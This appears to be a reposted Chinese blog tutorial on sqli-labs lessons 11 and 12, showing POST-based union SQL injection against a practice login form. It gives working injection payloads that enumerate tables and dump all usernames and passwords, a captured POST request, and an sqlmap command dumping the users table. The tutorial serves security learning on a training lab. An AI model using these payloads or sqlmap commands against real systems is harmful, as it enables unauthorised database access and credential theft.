Less 11-12(基于POST-union注入)

POST注入

这次,我们接触到了之前从未接触过的POST注入。
先看一下题目:
在这里插入图片描述
哇,好新颖,这次页面上有框框啦。

1. 题目分析

首先我们还是要先分析一下题目。
先随便输入一些东西看看。
在这里插入图片描述
页面提示你登陆尝试失败。。。说明这个usernamepassword是不能随便输入的。

那么根据之前的经验,我们试一下admin
在这里插入图片描述
可以看到,我们成功登陆了。而且网页下方也给出了我们的账户信息。因此,我们的注入点就要放在usernamepassword的框框上面。

2. 注入过程

首先我们要判断出字段usernamepassword是用什么包裹的。
在这里插入图片描述
在这里插入图片描述
通过上面两个例子,我们大致能判断出usernamepassword都是用单引号''包裹的。

然后再来判断检索字段的个数:
在这里插入图片描述
输入3报错,我们输入2
在这里插入图片描述
说明检索字段是2个。
我们用union select 1,2尝试一下。
在这里插入图片描述
这样,我们就可以开始查水表了~~

先爆数据库和版本信息:
' union select database(), version()#
在这里插入图片描述
接着就是查数据表名,字段名。
' union select (select group_concat(table_name) from information_schema.tables where table_schema="security"),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")#
在这里插入图片描述
这些命令之前都有讲过,只是之前的提交方式是get而现在是post。因此没有什么太大的差异。就不再说了。

最后是查这个users表,爆出所有用户信息:
' union select (select group_concat(username) from users), (select group_concat(password) from users)#
在这里插入图片描述

less-12

12和11的步骤一样。只是username的类型不同。
12的username("username")也就是使用了双引号和括号包裹。
这里给出最后的爆破步骤:
") union select (select group_concat(username) from users), (select group_concat(password) from users)#
在这里插入图片描述

使用SQLmap测试一下POST注入:
首先要使用burp suite把这个POST包抓下来。

POST /sqli/Less-11/ HTTP/1.1
Host: 192.168.x.xxx:7788
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.x.xxx:7788
Connection: close
Referer: http://192.168.x.xxx:7788/sqli/Less-11/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

把这些内容复制到一个文件里。

然后执行sqlmap

sqlmap.py -r F:\\1.txt -p passwd --batch -D security -T users --dump

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43901998/article/details/105358909